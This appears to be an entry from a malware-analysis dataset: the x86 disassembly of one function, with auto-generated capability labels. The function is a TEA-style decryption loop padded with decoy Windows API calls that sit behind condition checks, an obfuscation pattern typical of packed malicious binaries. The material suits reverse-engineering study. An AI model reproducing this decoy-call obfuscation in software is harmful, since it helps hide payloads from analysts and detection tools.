Function at 0x402830
Capabilities:
Get common file path
Get disk information
Get hostname
Get memory capacity
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2248
call fcn.0040fb40
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
mov edx, dword [0x4493b8]
push ebx
mov ebx, dword [eax + 4]
mov eax, dword [0x4493bc]
push esi
mov dword [ebp - 0x2c], eax
push edi
lea eax, [ebp - 0xc]
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x28], 0x9e3779b9
mov dword [ebp - 0x20], edx
call fcn.00402820
mov ecx, dword [0x4493c0]
mov edx, dword [0x4493c4]
add dword [ebp - 0xc], 0x23f
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x18], 0x20
mov dword [ebp - 0x14], 2
add dword [ebp - 0x14], 3
mov esi, dword [ebp - 0x10]
mov eax, dword [0x4578a4]
shl esi, 4
add esi, dword [ebp - 0x1c]
cmp eax, 0xfa9
jne 0x4028c4
mov dword [0x4578a0], 0xedeb2e40
jmp 0x4028df
cmp eax, 0x3eb
jne 0x4028df
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov dword [0x457330], 0
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x10]
add ecx, eax
mov eax, dword [ebp - 0x10]
shr eax, 5
mov dword [ebp - 8], eax
mov edx, dword [ebp - 0x24]
add dword [ebp - 8], edx
xor esi, ecx
cmp dword [0x4578a4], 0x9e6
mov dword [0x45789c], 0xf4ea3dee
jne 0x40291a
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommConfig]
xor dword [ebp - 8], esi
cmp dword [0x4578a4], 0x213
jne 0x4029f4
push 0
lea eax, [ebp - 0x1a44]
push eax
push 0
push 0x4025b8
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetNumberFormatW]
lea ecx, [ebp - 0xa44]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
push 0
push 0
push 0
lea edx, [ebp - 0x244]
push edx
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
lea eax, [ebp - 0x34]
push eax
lea ecx, [ebp - 0x1244]
push ecx
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push 0
call dword [sym.imp.KERNEL32.dll_ClearCommBreak]
lea edx, [ebp - 0x3c]
push edx
call edi
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
push 0
push 0
lea eax, [ebp - 0x2244]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
push 0x30
lea ecx, [ebp - 0x70]
push 0
push ecx
mov dword [ebp - 0x74], 0
call fcn.0040b1f0
add esp, 0xc
lea edx, [ebp - 0x74]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CommConfigDialogW]
lea eax, [ebp - 0x40]
push eax
push 0
lea ecx, [ebp - 0x88]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
lea edx, [ebp - 0x124]
push edx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea eax, [ebp - 0x38]
push eax
call edi
sub ebx, dword [ebp - 8]
cmp dword [0x4578a4], 0xc
jne 0x402a12
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointW]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
mov ecx, dword [ebp - 0xc]
mov edx, ebx
shr edx, 5
add ecx, ebx
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x2c]
add dword [ebp - 8], eax
mov esi, ebx
shl esi, 4
add esi, dword [ebp - 0x20]
xor esi, ecx
cmp dword [0x4578a4], 0xb03
jne 0x402a49
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreW]
xor esi, dword [ebp - 8]
mov dword [ebp - 0x30], esi
mov eax, dword [ebp - 0x30]
sub dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x28]
sub dword [ebp - 0xc], eax
sub dword [ebp - 0x18], 1
jne 0x402898
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x10]
pop edi
pop esi
mov dword [eax + 4], ebx
mov dword [eax], ecx
pop ebx
mov esp, ebp
pop ebp
ret 4